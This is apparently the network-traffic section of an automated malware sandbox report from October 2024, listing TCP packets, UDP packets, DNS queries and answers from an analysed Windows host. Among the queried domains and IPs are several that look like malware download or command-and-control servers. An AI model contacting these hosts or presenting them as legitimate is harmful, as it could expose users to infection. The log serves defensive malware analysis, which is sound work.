Oct 7, 2024 18:01:04.907710075 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907722950 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907747984 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.907756090 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.907800913 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.908142090 CEST	80	49990	45.132.206.251	192.168.2.5
Oct 7, 2024 18:01:04.908202887 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.908209085 CEST	49990	80	192.168.2.5	45.132.206.251
Oct 7, 2024 18:01:04.908277988 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.908323050 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.909337044 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.909348965 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.909363031 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.909368992 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.910355091 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.910371065 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.910430908 CEST	49985	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.910446882 CEST	443	49985	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.911638975 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.911655903 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.911668062 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.911674023 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.912484884 CEST	49990	80	192.168.2.5	45.132.206.251
Oct 7, 2024 18:01:04.912522078 CEST	49990	80	192.168.2.5	45.132.206.251
Oct 7, 2024 18:01:04.917787075 CEST	80	49990	45.132.206.251	192.168.2.5
Oct 7, 2024 18:01:04.917802095 CEST	80	49990	45.132.206.251	192.168.2.5
Oct 7, 2024 18:01:04.917810917 CEST	80	49990	45.132.206.251	192.168.2.5
Oct 7, 2024 18:01:04.917891979 CEST	80	49990	45.132.206.251	192.168.2.5
Oct 7, 2024 18:01:04.922643900 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.922674894 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.922728062 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.922867060 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.922898054 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.923003912 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.923136950 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.923150063 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.923356056 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.923367977 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.923748016 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.923762083 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.923830032 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.925234079 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.925242901 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.925297022 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.929946899 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.929959059 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.930164099 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.930175066 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.932090044 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.932126045 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:04.932173967 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.932661057 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:04.932670116 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.548842907 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.549199104 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.549424887 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.549455881 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.549485922 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.549515009 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.549922943 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.549927950 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.549969912 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.549977064 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.565978050 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.566456079 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.566473007 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.566971064 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.566976070 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.572654009 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.572916031 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.572937012 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.573256016 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.573261976 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.582776070 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.583125114 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.583132982 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.583499908 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.583504915 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.642980099 CEST	80	49990	45.132.206.251	192.168.2.5
Oct 7, 2024 18:01:05.643073082 CEST	49990	80	192.168.2.5	45.132.206.251
Oct 7, 2024 18:01:05.649683952 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.649703026 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.649782896 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.649795055 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.649918079 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.649965048 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.651124001 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.651137114 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.651149035 CEST	49992	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.651163101 CEST	443	49992	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.658226013 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.658253908 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.658292055 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.658374071 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.658374071 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.658390045 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.658433914 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.666631937 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.666652918 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.666687012 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.666822910 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.666830063 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.666881084 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.673823118 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.673850060 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.673899889 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.673975945 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.680600882 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.680624962 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.680691004 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.680696964 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.680732965 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.680795908 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.685483932 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.685502052 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.685511112 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.685516119 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.688010931 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.688010931 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.688024998 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.688034058 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.700563908 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.700666904 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.700752974 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.702143908 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.702176094 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.703022003 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.703053951 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.703120947 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.703285933 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.703296900 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.705044031 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.705065012 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.705126047 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.706162930 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.706176996 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.739576101 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.739650965 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.739682913 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.739696026 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.740362883 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.740375996 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.740627050 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.740633011 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.744679928 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.744714022 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.744774103 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.745773077 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.745784044 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.750428915 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.750488043 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.750516891 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.750606060 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.750682116 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.750682116 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.750693083 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.750700951 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.753772020 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.753782034 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:05.753833055 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.754215956 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:05.754226923 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.491035938 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.491811037 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.491830111 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.492522001 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.492530107 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.506114960 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.506742001 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.506755114 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.507405043 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.507412910 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.529323101 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.530280113 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.530299902 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.530745029 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.530754089 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.569510937 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.570147038 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.570179939 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.570204020 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.570880890 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.570902109 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.570986986 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.571054935 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.571434021 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.571451902 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.588577032 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.588607073 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.588654041 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.588709116 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.588856936 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.588870049 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.588928938 CEST	50002	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.588934898 CEST	443	50002	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.592943907 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.592972994 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.593179941 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.593612909 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.593630075 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.602756023 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.602823973 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.602884054 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.603051901 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.603051901 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.603072882 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.603081942 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.606353998 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.606400013 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.606460094 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.606849909 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.606865883 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.655849934 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.655921936 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.655992031 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.656292915 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.656308889 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.656347990 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.656353951 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.659625053 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.659656048 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.659727097 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.660120964 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.660129070 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.674760103 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.674839020 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.675020933 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.675403118 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.675403118 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.675429106 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.675437927 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.676548958 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.677006006 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.677105904 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.677107096 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.677107096 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.752960920 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.752999067 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.753199100 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.793571949 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.793589115 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:06.981589079 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:06.981666088 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.209606886 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.243429899 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.264106035 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.291130066 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.291162014 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.291690111 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.291697025 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.292141914 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.292160988 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.292490005 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.292507887 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.296030998 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.307140112 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.307161093 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.307579994 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.307588100 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.477895975 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.488121986 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.488147974 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.489646912 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.489728928 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.489810944 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.492460966 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.492531061 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.492602110 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.496762991 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.496778011 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.525849104 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.525849104 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.525878906 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.525891066 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.531277895 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.531277895 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.531353951 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.531383038 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.534537077 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.534595966 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.534656048 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.561697960 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.561718941 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.561745882 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.561752081 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.599134922 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.599195004 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.599323034 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.804416895 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.804436922 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:07.804476023 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:01:07.804481030 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 18:01:11.933841944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:01:11.935131073 CEST	49961	80	192.168.2.5	147.45.44.104
Oct 7, 2024 18:01:11.935184002 CEST	49990	80	192.168.2.5	45.132.206.251
Oct 7, 2024 18:01:49.356708050 CEST	49709	80	192.168.2.5	199.232.214.172
Oct 7, 2024 18:01:49.362238884 CEST	80	49709	199.232.214.172	192.168.2.5
Oct 7, 2024 18:01:49.362353086 CEST	49709	80	192.168.2.5	199.232.214.172

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:00:38.941191912 CEST	64368	53	192.168.2.5	1.1.1.1
Oct 7, 2024 18:00:39.133910894 CEST	53	64368	1.1.1.1	192.168.2.5
Oct 7, 2024 18:00:59.951217890 CEST	57683	53	192.168.2.5	1.1.1.1
Oct 7, 2024 18:00:59.959180117 CEST	53	57683	1.1.1.1	192.168.2.5
Oct 7, 2024 18:01:01.644602060 CEST	53702	53	192.168.2.5	1.1.1.1
Oct 7, 2024 18:01:01.658205986 CEST	53	53702	1.1.1.1	192.168.2.5
Oct 7, 2024 18:01:04.656989098 CEST	62946	53	192.168.2.5	1.1.1.1
Oct 7, 2024 18:01:04.668018103 CEST	53	62946	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 18:00:38.941191912 CEST	192.168.2.5	1.1.1.1	0x6e86	Standard query (0)	lade.petperfectcare.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:59.951217890 CEST	192.168.2.5	1.1.1.1	0x987e	Standard query (0)	nsdm.cumpar-auto-orice-tip.ro	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:01:01.644602060 CEST	192.168.2.5	1.1.1.1	0x6db9	Standard query (0)	exemplarou.sbs	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:01:04.656989098 CEST	192.168.2.5	1.1.1.1	0x2465	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 18:00:11.815252066 CEST	1.1.1.1	192.168.2.5	0x6df9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:00:11.815252066 CEST	1.1.1.1	192.168.2.5	0x6df9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:17.705146074 CEST	1.1.1.1	192.168.2.5	0xc492	No error (0)	shed.dual-low.s-part-0036.t-0009.t-msedge.net	s-part-0036.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 18:00:17.705146074 CEST	1.1.1.1	192.168.2.5	0xc492	No error (0)	s-part-0036.t-0009.t-msedge.net		13.107.246.64	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:39.133910894 CEST	1.1.1.1	192.168.2.5	0x6e86	No error (0)	lade.petperfectcare.com		95.164.90.97	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:00:59.959180117 CEST	1.1.1.1	192.168.2.5	0x987e	No error (0)	nsdm.cumpar-auto-orice-tip.ro		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 7, 2024 18:01:01.658205986 CEST	1.1.1.1	192.168.2.5	0x6db9	No error (0)	exemplarou.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
